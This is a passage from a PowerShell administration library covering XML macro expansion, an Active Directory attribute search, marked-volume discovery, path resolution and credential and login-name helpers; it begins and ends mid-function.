              $callExp = '$first = $oneMacroParams.first ; $last = $oneMacroParams.last ; $idx = $oneMacroParams.idx ; $oneMacroParams.last = [string] ({0}) ; $oneMacroParams.idx = [string] (1 + $oneMacroParams.idx)' -f $oneMacroParams.callForEach
              DBGSTART
              Invoke-Expression $callExp -EA SilentlyContinue
              DBGER $MyInvocation.MyCommand.Name $error
              DBGEND

              #DBG ('CallForEach macro: str = {0} | macro = {1} | idx = {2} | first = {3} | preLast = {4} | res = {5}' -f $outStr, $oneMacroParams.ref, $oneMacroParamsIdx, $oneMacroParamsFirst, $oneMacroParamsLast, $oneMacroParams.last)

              $outStr = $outStr.Replace($oneMacroParams.ref, $oneMacroParams.last)
            }

          } else {

            $i --
          }

          $startIdx = -1
        }
      }

      $i ++
    }


    #foreach ($oneMacro in $macrosToReplace) {
        #$oneMacroParams = $macros[$oneMacro]
    #}

    return $outStr
}


function global:Replace-MacrosOnNode ([ref] $nodeRef, [hashtable] $valueMacros, [hashtable] $xpathMacros, [ref] $expansionCounter)
{
  [System.Xml.XmlElement] $node = $nodeRef.Value

  DBG ('Value macros to expand: {0}' -f $valueMacros.Keys.Count)
  DBG ('XPath macros to expand: {0}' -f $xpathMacros.Keys.Count)

  # Note: we must process xpath macros only on the second pass
  #       becaus all the value should already be replaced.
  $macros = $valueMacros
  for ($i = 1; $i -le 2; $i ++) {

    [System.Collections.ArrayList] $nodeList = @($node)

    while ($nodeList.Count -gt 0) {

      [System.Collections.ArrayList] $childNodeList = @()
      foreach ($oneNode in $nodeList) {
    
        foreach ($oneAttr in $oneNode.psbase.Attributes) {

          $expansionCounter.Value ++  
          if (($expansionCounter.Value % 100) -eq 0) {

            DBG ('Macro expansion progress at attribute: {0}' -f $expansionCounter.Value)
          }

          $oneAttrValue = $oneAttr.Value
          if ($oneAttrValue -like '*$?*$*') {

            $oneAttr.Value = [string] (Replace-MacrosInString $oneAttrValue $macros ([ref] $oneNode))
          }
        }
  
        if (Is-ValidString($oneNode.psbase.InnerText)) {
  
          $expansionCounter.Value ++  

          $oneInnextText = $oneNode.psbase.InnerText
          if ($oneInnextText -like '*$?*$*') {

            $oneNode.psbase.InnerText = [string] (Replace-MacrosInString $oneInnextText $macros ([ref] $oneNode))
          }
        }


        foreach ($oneChildNode in $oneNode.psbase.ChildNodes) {
   
          if (($oneChildNode -isnot [System.Xml.XmlComment]) -and ($oneChildNode.psbase.Name -ne 'macro')) {

            [void] $childNodeList.Add($oneChildNode)
          }
          
          #if (($oneChildNode.psbase.Name -ne 'macro') -and ($oneChildNode.psbase.NodeType -ne 'Comment')) { 
          #
          #    Replace-MacrosOnNode ([ref] $oneChildNode) $macros $expansionCounter
          #}
        }
      }

      $nodeList = $childNodeList
    }
    
    $macros = $xpathMacros
  }
}

function global:ShouldSkip-StagedMacro ([string] $stage, [Xml.XmlElement] $macro)
{
  [bool] $shouldSkip = $false

  if (Is-ValidString $stage) {
          
    [string] $macroStages = $macro.stages

    if ((Is-ValidString $macroStages) -and (-not (Contains-Safe (Split-MultiValue $macroStages) $stage))) {

      #DBG ('Skipping staged macro: currentStage = {0} | ref = {1} | macroStages = {2}' -f $stage, $macro.ref, $macroStages)
      $shouldSkip = $true
    }
  }
  
  return $shouldSkip
}


function global:Expand-MacrosInDocument ([ref] $xmlRef, [bool] $noExpandValueMacros, [string] $stage)
{
  if (Is-ValidString $stage) {

    DBG ('Expanding XML macros: currentStage = {0}' -f $stage)
  
  } else {

    DBG ('Expanding XML macros')
  }
  
  $xml = $xmlRef.Value
  #$allMacros = $xml.SelectNodes('.//macro/..')
  $rootNodes = $xml.SelectNodes('.//macro/..')

  DBG ("Found {0} macro node(s) in the XML" -f $rootNodes.Count)
  
  #[System.Collections.ArrayList] $rootNodes = @()
  
  #$allMacros | % {
  
  #  $possibleRoot = $_.psbase.ParentNode
    
  #  if (-not (Contains-Safe $rootNodes $possibleRoot)) { [void] $rootNodes.Add($possibleRoot) }
  #}

  #DBG ("Found {0} root nodes that need replacements" -f $rootNodes.Count)

  #$parentMacros = $xml.SelectNodes('ancestor-or-self::*/macro')
  #DBG ("Found {0} macros in parent nodes" -f $rootNodes.Count)
  
  foreach ($oneRoot in $rootNodes) { 

    #DBG ("Processing root node: {0}, {1}" -f $oneRoot.name, $oneRoot.id)

    $nodeMacros = $oneRoot.SelectNodes('ancestor-or-self::*/macro')
    #DBG ("Found {0} raw macros in the root node: {1}" -f $nodeMacros.Count, ($nodeMacros | select ref, cpyTo | Out-String))


    # Note: first we start with COPY and UPDATE macros
    #       with several passes as to be able to update
    #       in correct order if there are any macros comming
    #       from upper nodes

    [int] $passNo = 1
    [int] $passCounter = 1

    while ($passCounter -le $passNo) {

      for ($i = $nodeMacros.Count - 1; $i -ge 0; $i --) {
     
          # Note: there are four types of macros - pure value macros ('value' attribute)
          #       second are xpath macros (defined in 'xpath' attribute)
          #       and third and fourth are copy macros and update macros (defined in 'copyTo' attribute)
          #       The value macros can reference other value macros while the xpath macros must be direct constants
          #       and the copy macros and update macros are irelevant in these considerations

          if (ShouldSkip-StagedMacro -stage $stage -macro $nodeMacros.Item($i)) { continue }

          [int] $currentMacroPass = [int] $nodeMacros.Item($i).pass
          if ($currentMacroPass -lt 1) { $currentMacroPass = 1 }
          $passNo = [Math]::Max($passNo, $currentMacroPass)

          # Note: COPY macro processing

          if (($passCounter -eq $currentMacroPass) -and 
              (Is-ValidString $nodeMacros.Item($i).cpyTo) -and ($nodeMacros.Item($i).ref -ceq 'COPY') -and (-not (Parse-BoolSafe $nodeMacros.Item($i).alreadyProcessed))) {

            DBG ('Found COPY macro: cpyTo = {0} | cpyWhat = {1}' -f $nodeMacros.Item($i).cpyTo, (($nodeMacros.Item($i).ChildNodes | % { $_.psbase.name }) -join ','))

            foreach ($oneChildToCopy in $nodeMacros.Item($i).ChildNodes) {

              if ($oneChildToCopy -is [System.Xml.XmlComment]) { continue }

              if (Parse-BoolSafe $nodeMacros.Item($i).multipleChildNodesMayExist) {

                $selectCopyNodes = '{0}' -f ($nodeMacros.Item($i).cpyTo), ($oneChildToCopy.psbase.name)

              } else {

                $selectCopyNodes = '{0}[not(./{1})]' -f ($nodeMacros.Item($i).cpyTo), ($oneChildToCopy.psbase.name)

                $selectCopyNodesWithExistingCopyTarget = '{0}[{1}]' -f ($nodeMacros.Item($i).cpyTo), ($oneChildToCopy.psbase.name)
                DBGIF ('Some nodes already contain the COPY target: {0} | {1}' -f $nodeMacros.Item($i).cpyTo, $oneChildToCopy.psbase.name) { (Get-CountSafe ($xml.SelectNodes($selectCopyNodesWithExistingCopyTarget))) -gt 0 }
              }

              $oneDbgMsg = 'Selecting the following: for = {0} | xpath = {1} | at = {2}' -f $oneChildToCopy.psbase.name, $selectCopyNodes, $xml.psbase.name

              $copyDestinations = $xml.SelectNodes($selectCopyNodes)
        
              if (Parse-BoolSafe $nodeMacros.Item($i).dbg) {
              
                DBG $oneDbgMsg -color $global:infoColor
                DBG ('Copy macro destinations found: {0}' -f (Get-CountSafe $copyDestinations)) -color $global:infoColor
              }

              
              # Note: this is not possible to assert as there may be copy macros that do not trigger for some nodes
              #       a good example of which is the 
              #DBGIF $oneDbgMsg { (Get-CountSafe $copyDestinations) -lt 1 }

              if ((Get-CountSafe $copyDestinations) -gt 0) {

                foreach ($oneCopyDestination in $copyDestinations) { 

                  DBGSTART
                  [void] $oneCopyDestination.AppendChild($oneChildToCopy.CloneNode($true))
                  DBGER $MyInvocation.MyCommand.Name $error
                  DBGEND
                }
              }
            }

            $nodeMacros.Item($i).SetAttribute('alreadyProcessed', 'true')
          }

          # Note: UPDATE macro processing

          if (($passCounter -eq $currentMacroPass) -and 
              (Is-ValidString $nodeMacros.Item($i).cpyTo) -and ($nodeMacros.Item($i).ref -ceq 'UPDATE') -and (-not (Parse-BoolSafe $nodeMacros.Item($i).alreadyProcessed))) {

            DBG ('Found UPDATE macro: cpyTo = {0} | updateWhat = {1}' -f $nodeMacros.Item($i).cpyTo, (($nodeMacros.Item($i).ChildNodes | % { $_.psbase.name }) -join ','))

            foreach ($oneChildToUpdate in $nodeMacros.Item($i).ChildNodes) {

              if ($oneChildToUpdate -is [System.Xml.XmlComment]) { continue }

              if (Parse-BoolSafe $nodeMacros.Item($i).updateSelf) {

                $selectUpdateNodes = '{0}' -f ($nodeMacros.Item($i).cpyTo)

              } else {

                $selectUpdateNodes = '{0}/{1}' -f ($nodeMacros.Item($i).cpyTo), ($oneChildToUpdate.psbase.name)
              }

              $oneDbgMsg = 'Selecting the following: for = {0} | xpath = {1} | at = {2}' -f $oneChildToUpdate.psbase.name, $selectUpdateNodes, $xml.psbase.name
              #DBG $oneDbgMsg

              $updateDestinations = $xml.SelectNodes($selectUpdateNodes)
              #DBG ('Update macro destinations found: {0}' -f (Get-CountSafe $updateDestinations))
              DBGIF $oneDbgMsg { ((Get-CountSafe $updateDestinations) -lt 1) -and (-not (Parse-BoolSafe $nodeMacros.Item($i).mayNotApply)) }

              if ((Get-CountSafe $updateDestinations) -gt 0) {

                # Note: yes, we do not process child node updates, a separate UPDATE macro must be
                #       defined for child nodes
                foreach ($oneAttributeToUpdate in $oneChildToUpdate.psbase.Attributes) {

                  foreach ($oneUpdateDestination in $updateDestinations) { 

                    [void] $oneUpdateDestination.SetAttribute($oneAttributeToUpdate.psbase.Name, $oneAttributeToUpdate.psbase.Value)
                  }
                }
              }
            }

            $nodeMacros.Item($i).SetAttribute('alreadyProcessed', 'true')
          }

          # Note: DUPLICATE macro processing

          if (($passCounter -eq $currentMacroPass) -and 
              (Is-ValidString $nodeMacros.Item($i).cpyWhat) -and (Is-ValidString $nodeMacros.Item($i).cpyWhere) -and ($nodeMacros.Item($i).ref -ceq 'DUPLICATE') -and (-not (Parse-BoolSafe $nodeMacros.Item($i).alreadyProcessed))) {

            DBG ('Found DUPLICATE macro: cpyWhat = {0} | cpyWhere = {1} | updateWhat = {2}' -f $nodeMacros.Item($i).cpyWhat, $nodeMacros.Item($i).cpyWhere, (($nodeMacros.Item($i).ChildNodes | % { $_.psbase.name }) -join ','))

            $duplicateSourceNodes = $xml.SelectNodes($nodeMacros.Item($i).cpyWhat)
            $duplicateTargetNode = $xml.SelectSingleNode($nodeMacros.Item($i).cpyWhere)

            foreach ($oneDuplicateSourceNode in $duplicateSourceNodes) {

              $duplicatedNode = $oneDuplicateSourceNode.CloneNode($true)

              foreach ($oneChildToUpdate in $nodeMacros.Item($i).ChildNodes) {

                if ($oneChildToUpdate -is [System.Xml.XmlComment]) { continue }

                if ($oneChildToUpdate.Name -eq 'self') {

                  $updateDestinations = @($duplicatedNode)

                } else {

                  $updateDestinations = $duplicatedNode.SelectNodes('./{0}' -f $oneChildToUpdate.Name)
                }

                DBGIF $oneDbgMsg { (Get-CountSafe $updateDestinations) -lt 1 }

                if ((Get-CountSafe $updateDestinations) -gt 0) {

                  # Note: yes, we do not process child node updates, a separate UPDATE macro must be
                  #       defined for child nodes
                  foreach ($oneAttributeToUpdate in $oneChildToUpdate.psbase.Attributes) {

                    foreach ($oneUpdateDestination in $updateDestinations) { 

                      [void] $oneUpdateDestination.SetAttribute($oneAttributeToUpdate.psbase.Name, $oneAttributeToUpdate.psbase.Value)
                    }
                  }
                }
              }

              DBGSTART
              [void] $duplicateTargetNode.AppendChild($duplicatedNode)
              DBGER $MyInvocation.MyCommand.Name $error
              DBGEND
            }

            $nodeMacros.Item($i).SetAttribute('alreadyProcessed', 'true')
          }
       }
          
       $passCounter ++
    }


    # Note: next going to process value macros
    #       this requires preprocessing value macros inside other macros
    #       and only then going down to the actual attribute values

    if (-not $noExpandValueMacros) {

      for ($i = 0; $i -lt $nodeMacros.Count; $i ++) {

        if (ShouldSkip-StagedMacro -stage $stage -macro $nodeMacros.Item($i)) { continue }

        if (Is-ValidString $nodeMacros.Item($i).callForEach) {
        
          Set-XmlAttribute $nodeMacros.Item($i) 'last' $nodeMacros.Item($i).first
          Set-XmlAttribute $nodeMacros.Item($i) 'idx' '0'
        }

        if (Is-ValidString $nodeMacros.Item($i).value) {

          #DBGX ("Expanding macro {0} = {1}" -f $nodeMacros.Item($i).ref, $nodeMacros.Item($i).value)

          if (Is-ValidString $nodeMacros.Item($i).call) {
        
            $callExp = '$value = $nodeMacros.Item($i).value ; $nodeMacros.Item($i).value = {0}' -f $nodeMacros.Item($i).call
            DBGSTART
            Invoke-Expression $callExp -EA SilentlyContinue | Out-Null
            DBGER $MyInvocation.MyCommand.Name $error
            DBGEND
          }
        }

        if ((Is-ValidString $nodeMacros.Item($i).value) -or (Is-ValidString $nodeMacros.Item($i).callForEach)) {

          for ($j = $i + 1; $j -lt $nodeMacros.Count; $j ++) {
      
            #DBG ("Expanding macro [{0} = {1}] with [{2} = {3}]" -f $nodeMacros.Item($j).ref, $nodeMacros.Item($j).value, $nodeMacros.Item($i).ref, $nodeMacros.Item($i).value)

            if ($nodeMacros.Item($j).value -like "*$($nodeMacros.Item($i).ref)*") {

              # Note: nobody knows why the conversion from [string] to [string] is really necessary
              $nodeMacros.Item($j).value = [string] (Replace-MacrosInString $nodeMacros.Item($j).value @{ $nodeMacros.Item($i).ref = $nodeMacros.Item($i) } )
            }

            if ($nodeMacros.Item($j).xpath -like "*$($nodeMacros.Item($i).ref)*") {

              $nodeMacros.Item($j).xpath = [string] (Replace-MacrosInString $nodeMacros.Item($j).xpath @{ $nodeMacros.Item($i).ref = $nodeMacros.Item($i) } )
            }
          }
        }
      }

      #DBG ("Macros after expansion: {0}" -f ($nodeMacros | Out-String))

      DBG ('Going to expand macros: {0}' -f (Get-CountSafe $nodeMacros))

      [hashtable] $hashValueMacros = @{}
      [hashtable] $hashXpathMacros = @{}
      foreach ($oneNodeMacro in $nodeMacros) {

        if ($oneNodeMacro.ref -like '$?*$') {
      
          if (ShouldSkip-StagedMacro -stage $stage -macro $oneNodeMacro) { continue }

          if (Is-ValidString $oneNodeMacro.xpath) {

            # Note: we must be able to overwrite a macro by a macro placed upper in the hierarchy
            if (Is-Null $hashXpathMacros[$oneNodeMacro.ref]) {
              
              $hashXpathMacros[$oneNodeMacro.ref] = $oneNodeMacro
            }

          } else {

            # Note: we must be able to overwrite a macro by a macro placed upper in the hierarchy
            if (Is-Null $hashValueMacros[$oneNodeMacro.ref]) {

              $hashValueMacros[$oneNodeMacro.ref] = $oneNodeMacro
            }
          }
        }

        DBGIF ('Weird macro definition: {0}' -f $oneNodeMacro.ref) { ($oneNodeMacro.ref -notlike '$?*$') -and ($oneNodeMacro.ref -ne 'COPY') -and ($oneNodeMacro.ref -ne 'UPDATE') -and ($oneNodeMacro.ref -ne 'DUPLICATE') }
      }

      [int] $macroExpansionCounter = 0
      Replace-MacrosOnNode ([ref] $oneRoot) $hashValueMacros $hashXpathMacros -expansionCounter ([ref] $macroExpansionCounter)
      DBG ('Macro expansion finished after processing attributes: {0}' -f $macroExpansionCounter)
    }
  }
}


function global:Find-AttributeWildcard ([string] $searchRoot, [string] $scope = 'subTree', [string] $searchFilter = '(objectClass=top)', [string] $wildcard)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $searchRoot }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $scope }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $searchFilter }
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $wildcard }

  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))

  [Object[]] $foundItems = @()

  [System.Collections.ArrayList] $deList = @()

  $searchRes = Get-ADSearch $searchRoot $scope $searchFilter
  $resCount = 0
  
  if ($searchRes.found) {
    
    #$searchRes[1] = $searchRes[0].FindAll()
    $searchRes.result | % { 

      $resCount ++
      $oneRes = $_

      foreach ($propName in $oneRes.Properties.PropertyNames) {

        $propValCol = $oneRes.Properties[$propName]

        $valueId = 0
        foreach ($propVal in $propValCol) {

          if ($propVal -like $wildCard) {

            $out = New-Object PSObject
    
            $out | Add-Member -MemberType NoteProperty -Name Path -Value $oneRes.Path
            $out | Add-Member -MemberType NoteProperty -Name AttrName -Value $propName

            if ($propValCol.Count -eq 1) {
            
              $out | Add-Member -MemberType NoteProperty -Name ValueId -Value -1
            
            } else {
          
              $out | Add-Member -MemberType NoteProperty -Name ValueId -Value $valueId
            }
            
            $out | Add-Member -MemberType NoteProperty -Name Value -Value $propVal

            $foundItems += $out
          }

          $valueId ++
        }
      }    

      DBGIFOK { (($resCount % $dbgSearchProgress) -eq 0) } ('{0}: Processing at object number {1}' -f $MyInvocation.MyCommand.Name, $resCount)
    }
  }

  DBG ("Processed {0} items, found {1} matches." -f $resCount, $foundItems.Count)
  
  Dispose-ADSearch ([ref] $searchRes)
  Dispose-List ([ref] $deList)
  
  return $foundItems
}


function global:Find-MarkedVolume ([string] $markerFile, [int] $driveType = 3, [switch] $findAllWithWildcard, [string] $fileVersionWildcard, [int] $ifNotFoundReturnIdx, [string] $ifNotFoundExcludeMarkerFile)
# Note: $driveType: HDD = 3, ISO = 5, SMB = 4
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $markerFile }

  [string] $volume = $null
  [System.Collections.ArrayList] $volumes = @()

  $conditions = ''
  
  if ($driveType -ge 0) { $conditions += (' AND DriveType = {0}' -f $driveType) }
  
  $disks = Get-WMIQueryArray '.' ('SELECT * FROM Win32_LogicalDisk WHERE DeviceID <> NULL {0}' -f $conditions)
  DBG ('Found volume number: {0}' -f $disks.Count)
  
  foreach ($oneDisk in $disks) {
  
    $oneVol = $oneDisk.DeviceID
    DBG ('One disk: {0} | type = {1} | free = {2} | size = {3}' -f $oneVol, $oneDisk.DriveType, $oneDisk.FreeSpace, $oneDisk.Size)
    
    if (Is-Null $oneDisk.Size) {

      # Note: seems like the disk size is not determined
      #       which might be the case of locked BitLocker protected disks
      #       so we simply ignore the drive
      DBG ('Invalid drive for marker detection. Skipping: {0}' -f $oneVol)
      continue
    }


    [string] $possibleMarker = Join-Path $oneVol $markerFile
    
    if (Test-Path $possibleMarker) {
    
      if (Is-ValidString $fileVersionWildcard) {
      
        DBG ('One possible marker file but we must check its version: {0} | {1}' -f $possibleMarker, $fileVersionWildcard)
        DBGSTART
        $markerFileDetails = $null
        $markerFileDetails = Get-Item $possibleMarker
        DBGER $MyInvocation.MyCommand.Name $error
        DBGEND
        
        DBG ('Marker file version: {0} | {1}' -f $markerFileDetails.FullName, $markerFileDetails.VersionInfo.ProductVersion)

        if ($markerFileDetails.VersionInfo.ProductVersion -notlike $fileVersionWildcard) {

          DBG ('Different file version: shouldBe = {0} | is = {1}' -f $fileVersionWildcard, $markerFileDetails.VersionInfo.ProductVersion)
          $possibleMarker = ''
        
        } else {

          DBG ('The version fits: shouldBe = {0} | is = {1}' -f $fileVersionWildcard, $markerFileDetails.VersionInfo.ProductVersion)
        }
      }

      if (Is-ValidString $possibleMarker) {

        DBG ('Found one of existing markers: {0} | {1}' -f $oneVol, $possibleMarker)
        $volume = $oneVol
        [void] $volumes.Add($oneVol)
      }
    }
  }

  DBG ('Found marked volumes: {0} | {1}' -f $volumes.Count, ($volumes -join ','))

  if ($findAllWithWildcard) {

    return ,$volumes

  } else {
 
    DBGIF $MyInvocation.MyCommand.Name { $volumes.Count -gt 1 }

    if (($volumes.Count -eq 0) -and ($ifNotFoundReturnIdx)) {

      [string] $systemDriveDevId = $env:SystemDrive.SubString(0,2)
      DBG ('No disk found, going to select and indexed disk: {0} | {1} | {2}' -f $systemDriveDevId, $ifNotFoundReturnIdx, $ifNotFoundExcludeMarkerFile)

      $volume = $disks | 
      
          ? { ($_.DeviceId -ne $systemDriveDevId) -and ((Is-EmptyString $ifNotFoundExcludeMarkerFile) -or (-not (Test-Path (Join-Path $_.DeviceId $ifNotFoundExcludeMarkerFile)))) } | 
          
            Select -First $ifNotFoundReturnIdx | Select -Last 1 | Select -Expand DeviceId
      
      DBGIF ('No disk found with the marker. Returning non-system disk by number: systemRoot = {0} | markerNotFound = {1} | returning = #{2} {3}' -f $systemDriveDevId, $markerFile, $ifNotFoundReturnIdx, $volume) { $true }
      return $volume

    } else {

      DBG ('Returning last volume with the marker file: {0} | {1}' -f $volume, $markerFile)
      return $volume
    }
  }
}


function global:Resolve-VolumePath ([string] $path)
{
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $path }
  DBG ('Resolving path that potentially references marked DATA volume: {0}' -f $path)

  [string] $outPath = $path

  if ($path -like '@0*') {

    $outPath = $global:libCommonParentDir

    if ($path.Length -gt 2) {

      $outPath += $path.SubString(2)
    }

  } elseif (($path -like '@?:\*') -and ($path -notlike '@S:\*') -and ($path -notlike '@M:\*|?*') -and ($path -notlike '@F:\*') -and ($path -notlike '@C[a-z]*')) {
  
    [string] $markedVolumeID = $path[1]
    $relativePath = $path.SubString(4)
    DBG ('Searching for drive with ID: {0}' -f $markedVolumeID)
    
    $markedVolumeDrive = Find-MarkedVolume ($global:datadiskMarker -f $markedVolumeID) -driveType 3 -ifNotFoundReturnIdx ([int] $markedVolumeID) -ifNotFoundExcludeMarkerFile $global:datadiskExclusionMarker
    DBGIF $MyInvocation.MyCommand.Name { (Is-EmptyString $markedVolumeDrive) -or (-not (Test-Path -Literal $markedVolumeDrive)) }

    if ((Is-ValidString $markedVolumeDrive) -and (Test-Path -Literal $markedVolumeDrive)) {
        
      $outPath = Join-Path $markedVolumeDrive $relativePath

    } else {

      $outPath = [string]::Empty
    }
  }
  
  if ($path -like '@M:\*|?*') {

    [string[]] $pathComponents = Split-MultiValue $path

    $relativePath = $pathComponents[0].SubString(4)
    $markerPath = $pathComponents[1]

    DBG ('The path references a marker: marker = {0} | relativePath = {1}' -f $markerPath, $relativePath)

    $markedVolumeDrive = Find-MarkedVolume $markerPath 3
    DBGIF $MyInvocation.MyCommand.Name { (Is-EmptyString $markedVolumeDrive) -or (-not (Test-Path -Literal $markedVolumeDrive)) }

    if ((Is-ValidString $markedVolumeDrive) -and (Test-Path -Literal $markedVolumeDrive)) {
        
      $outPath = Join-Path $markedVolumeDrive $relativePath

    } else {

      $outPath = [string]::Empty
    }
  }

  if ($path -like '@S:\*') {

    $relativePath = $path.SubString(4)
    $outPath = Join-Path $env:SystemDrive $relativePath    
  }

  if ($path -like '@F:\*') {

    DBG ('Get the volume with the most free space available larger than 1GB')
    DBGSTART
    [WMI[]] $volumesWithMostFreeSpace = gwmi -Query 'SELECT * FROM Win32_LogicalDisk WHERE FreeSpace > 1073741824' | sort -Descending FreeSpace
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
    
    [WMI] $theVolumeWithMostFreeSpace = $null
    foreach ($oneVolumeWithMostFreeSpace in $volumesWithMostFreeSpace) {

      DBG ('One volume with most free space found: {0} | {1}' -f $oneVolumeWithMostFreeSpace.DeviceID, ([int] ($oneVolumeWithMostFreeSpace.FreeSpace / 1GB)))
      $canUseVolume = -not (Test-Path -Literal (Join-Path $oneVolumeWithMostFreeSpace.DeviceID '!sevecek-do-not-use-volume.txt'))
      DBG ('Is the volume allowed to be used: {0}' -f $canUseVolume)

      if ($canUseVolume) {

        $theVolumeWithMostFreeSpace = $oneVolumeWithMostFreeSpace
        break
      }
    }

    DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $theVolumeWithMostFreeSpace.DeviceID }
    if (Is-ValidString $theVolumeWithMostFreeSpace.DeviceID) {

      DBG ('Volume selected with the most free space: {0}' -f $theVolumeWithMostFreeSpace.DeviceID)
      $outPath = Join-Path $theVolumeWithMostFreeSpace.DeviceID $path.SubString(3)
    }
  }

  if ($path -like '@C[a-z]*') {

    DBG ('Resolving custom path marker: {0} | {1}' -f $path, ($global:volumeResolutionCustomRoots | Out-String))
    $customMarkedPath = $global:volumeResolutionCustomRoots[([string] $path[2])]
    
    #DBGIF $MyInvocation.MyCommand.Namespace { Is-EmptyString $customMarkedPath }
    if (Is-ValidString $customMarkedPath) {

      $pathRest = $path.SubString(3)

      if (Is-ValidString $pathRest) {

        $outPath = Join-Path $customMarkedPath $pathRest

      } else {

        $outPath = $customMarkedPath
      }

    } else {

      $outPath = $null
    }
  }

  DBG ('Path resolved as: {0}' -f $outPath)
  return $outPath
}

<#
function global:Has-Argument ([object[]] $arguments, [string] $arg)
#
# This is just a matter of making it work both with original $args parsing
# and with the later implementation of the param() section
#
{
  [bool] $has = $false
  
  if ((Get-CountSafe $arguments) -gt 0) {
  
    foreach ($oneArg in $arguments) {

      if (($oneArg -eq $arg) -or ($oneArg -eq "-$arg") -or ($oneArg -like ('{0}:*' -f $arg)) -or ($oneArg -like ('-{0}:*' -f $arg))) { 
     
        $has = $true
      }
    }
  }
  
  return $has
}


function global:Get-ArgumentValue ([object[]] $arguments, [string] $arg)
{
  [string] $argValue = ''
  
  if ((Get-CountSafe $arguments) -gt 0) {
  
    foreach ($oneArg in $arguments) {
    
      if (($oneArg -eq $arg) -or ($oneArg -eq "-$arg") -or ($oneArg -like ('{0}:*' -f $arg)) -or ($oneArg -like ('-{0}:*' -f $arg))) { 
    
        $doubleDotIdx = $oneArg.IndexOf(':')
        
        if ($doubleDotIdx -gt 0) {
      
          $argValue = $oneArg.SubString($doubleDotIdx + 1) 
        }
      }
    }
  }
  
  return $argValue
}
#>

function global:Get-PwdCredentials ([string] $user, [string] $domain, [string] $password, [bool] $samLogin)
{
  $securePwd = ConvertTo-SecureString -String $password -AsPlainText -Force

  if ($samLogin) {
  
    $login = Get-SAMLogin $user $domain
  }
  
  else {

    if (Is-BuiltinDomain $domain) {
    
      $login = '{0}\{1}' -f $domain.ToUpper(), $user
    }
    
    elseif (Is-LocalDomain $domain $true) {
    
      $login = '{0}\{1}' -f $global:thisComputerNetBIOS, $user
    }
    
    else {
    
      $login = '{0}@{1}' -f $user, $domain
    }
  }

  $cred = $null
  $cred = New-Object System.Management.Automation.PSCredential $login, $securePwd
  
  return $cred
}



function global:Get-SAMLoginInternalSafe ([string] $samOrUPNlogin)
{
  DBGSTART
  [Security.Principal.SecurityIdentifier] $accountSID = $null
  $accountSID = (New-Object Security.Principal.NTAccount $samOrUPNlogin).Translate([Security.Principal.SecurityIdentifier]).Value
  DBGEND

  [string] $samLogin = [string]::Empty

  if (Is-NonNull $accountSID) {

    DBGSTART
    $samLogin = $accountSID.Translate([Security.Principal.NTAccount]).Value
    DBGER $MyInvocation.MyCommand.Name $error
    DBGEND
  }

  DBG ('Login translated natively: {0} | {1}' -f $samOrUPNlogin, $samLogin)
  return $samLogin
}


function global:Get-SAMLogin ([string] $samOrUPNloginOrSID, [string] $domain)
# Note: $domain - can be either FQDN or NetBIOS or empty
#       $samOrUPNloginOrSID - can be either @, \ or pure login name, or SID
{
  DBG ('{0}: Parameters: {1}' -f $MyInvocation.MyCommand.Name, (($PSBoundParameters.Keys | ? { $_ -ne 'object' } | % { '{0}={1}' -f $_, $PSBoundParameters[$_]}) -join $multivalueSeparator))
  DBGIF $MyInvocation.MyCommand.Name { Is-EmptyString $samOrUPNloginOrSID }

  [string] $outSAMLogin = ''
  [System.Collections.ArrayList] $deList = @()

  if (Is-ValidString $samOrUPNloginOrSID) {

    [bool] $mustNormalize = $true

    if (($samOrUPNloginOrSID -like 'S-1-5-*') -and (Is-EmptyString $domain)) {

      DBGSTART
      $binarySID = New-Object System.Security.Principal.SecurityIdentifier $samOrUPNloginOrSID
      $outSAMLogin = $binarySID.Translate([System.Type]::GetType('System.Security.Principal.NTAccount')).Value
      DBGER $MyInvocation.MyCommand.Name $error
      DBGEND

      $mustNormalize = $false
    }

    elseif ($samOrUPNloginOrSID.Contains('@')) {
    
      DBGIF $MyInvocation.MyCommand.Name { Is-ValidString $domain }
      
      $outSAMLogin = Get-SAMLoginInternalSafe $samOrUPNloginOrSID
      if (Is-ValidString $outSAMLogin) {

        $mustNormalize = $false

      } else {

        $login = $samOrUPNloginOrSID.SubString(0, $samOrUPNloginOrSID.IndexOf('@'))
        $domain = $samOrUPNloginOrSID.SubString($samOrUPNloginOrSID.IndexOf('@') + 1)
        DBGIF ('Must normalize weird UPN format supplied: {0} | {1} | {2}' -f $samOrUPNloginOrSID, $login, $domain) { $true }
      }
    }
    
    elseif ($samOrUPNloginOrSID.Contains('\')) {
    
      DBGIF $MyInvocation.MyCommand.Name { Is-ValidString $domain }
      
      $outSAMLogin = Get-SAMLoginInternalSafe $samOrUPNloginOrSID
      if (Is-ValidString $outSAMLogin) {

        $mustNormalize = $false

      } else {

        $login = $samOrUPNloginOrSID.SubString($samOrUPNloginOrSID.IndexOf('\') + 1)
        $domain = $samOrUPNloginOrSID.SubString(0, $samOrUPNloginOrSID.IndexOf('\'))
        DBGIF ('Must normalize weird SAM format supplied: {0} | {1} | {2}' -f $samOrUPNloginOrSID, $login, $domain) { $true }
      }
    }

    else {
    
      $outSAMLogin = Get-SAMLoginInternalSafe $samOrUPNloginOrSID
      if (Is-ValidString $outSAMLogin) {

        $mustNormalize = $false

      } else {

        if (Is-EmptyString $domain) {

          $domain = Get-LocalDomain
          DBG ('No domain specified. Defaulting to local domain: {0}' -f $domain)
        }

        $login = $samOrUPNloginOrSID  
      }
    }


    [string] $shortSAMlogin = $outSAMLogin
    if (Is-EmptyString $shortSAMlogin) {

      $shortSAMlogin = $login
    }

    if ($shortSAMlogin -like '?*\?*') {

      DBG ('Cut the SAM login domain prefix: {0}' -f $shortSAMlogin)
      $shortSAMlogin = $shortSAMlogin.Substring($shortSAMlogin.IndexOf('\') + 1)
